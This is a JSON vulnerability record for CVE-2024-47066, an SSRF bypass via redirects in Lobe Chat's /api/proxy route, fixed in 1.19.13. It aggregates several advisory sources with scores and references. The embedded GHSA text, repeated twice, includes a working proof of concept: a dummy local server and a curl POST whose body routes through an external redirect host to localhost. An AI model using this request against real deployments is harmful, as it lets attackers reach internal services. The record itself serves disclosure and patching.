{"id":"CVE-2024-47066","aliases":["EUVD-2024-2703","GHSA-3fc8-2r3f-8wrg"],"status":"published","title":"Lobe Chat has insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)","description":"Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.","severity":{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.1186,"percentile":0.96151,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-918"],"published":"2024-09-23T15:17:43Z","modified":"2026-11-11T10:30:56Z","exploits":[{"source":"pocgithub","id":"EQSTLab/CVE-2024-47066","title":"EQSTLab/CVE-2024-47066","date":"2024-09-25","url":"https://github.com/EQSTLab/CVE-2024-47066"}],"fixes":[{"ecosystem":"npm","package":"@lobehub/chat","fixed_in":["1.19.13"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@lobehub/chat","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.19.12"},{"fixed":"1.19.13"}]}]},{"source":"osv","ecosystem":"npm","package":"@lobehub/chat","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.19.13"}]}]}],"products":[{"vendor":"lobehub","product":"lobe-chat"},{"vendor":"lobehub","product":"lobe_chat"}],"references":[{"url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc","tags":["x_refsource_MISC","Not Applicable","advisory","web"]},{"url":"https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts","tags":["x_refsource_MISC","Broken Link","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47066","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3fc8-2r3f-8wrg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/47xxx/CVE-2024-47066.json","tags":["advisory"]},{"url":"https://github.com/lobehub/lobe-chat","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-47066","title":"Lobe Chat has insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)","description":"Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.","status":"published","published":"2024-09-23T15:17:43.364Z","modified":"2024-09-23T15:41:22.252Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:33:57.302325Z"}],"euvd":[{"id":"EUVD-2024-2703","description":"Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.","status":"published","published":"2024-09-23T15:17:43Z","modified":"2024-09-23T15:41:22Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","level":"critical"}],"updated_at":"2026-11-03T00:28:16.94122Z"}],"ghsa":[{"id":"GHSA-3fc8-2r3f-8wrg","title":"lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)","description":"### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require('http');\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {'Content-Type': 'text/html'});\n  res.end();\n}).listen(3001, 'localhost');\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=\u0026session=inbox\u0026tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \\\n    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \\\n    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \\\n    $'http://0.0.0.0:3210/api/proxy'\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf","status":"published","published":"2024-09-23T20:30:11Z","modified":"2024-09-30T19:57:30Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H","level":"medium"},{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:38:07.852618Z"}],"nvd":[{"id":"CVE-2024-47066","description":"Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.","status":"published","published":"2024-09-23T16:15:06.67Z","modified":"2026-06-17T07:56:28.983Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:10:27.456509Z"}],"osv":[{"id":"CVE-2024-47066","title":"Lobe Chat has insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)","description":"Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.","status":"published","published":"2024-09-23T15:17:43.364Z","modified":"2026-11-11T10:30:56.140895237Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-11T11:06:29.968286Z"},{"id":"GHSA-3fc8-2r3f-8wrg","title":"lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)","description":"### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require('http');\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {'Content-Type': 'text/html'});\n  res.end();\n}).listen(3001, 'localhost');\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=\u0026session=inbox\u0026tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \\\n    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \\\n    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \\\n    $'http://0.0.0.0:3210/api/proxy'\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf","status":"published","published":"2024-09-23T20:30:11Z","modified":"2026-02-04T04:36:26.204512Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H","level":"critical"},{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:35.747385Z"}]}}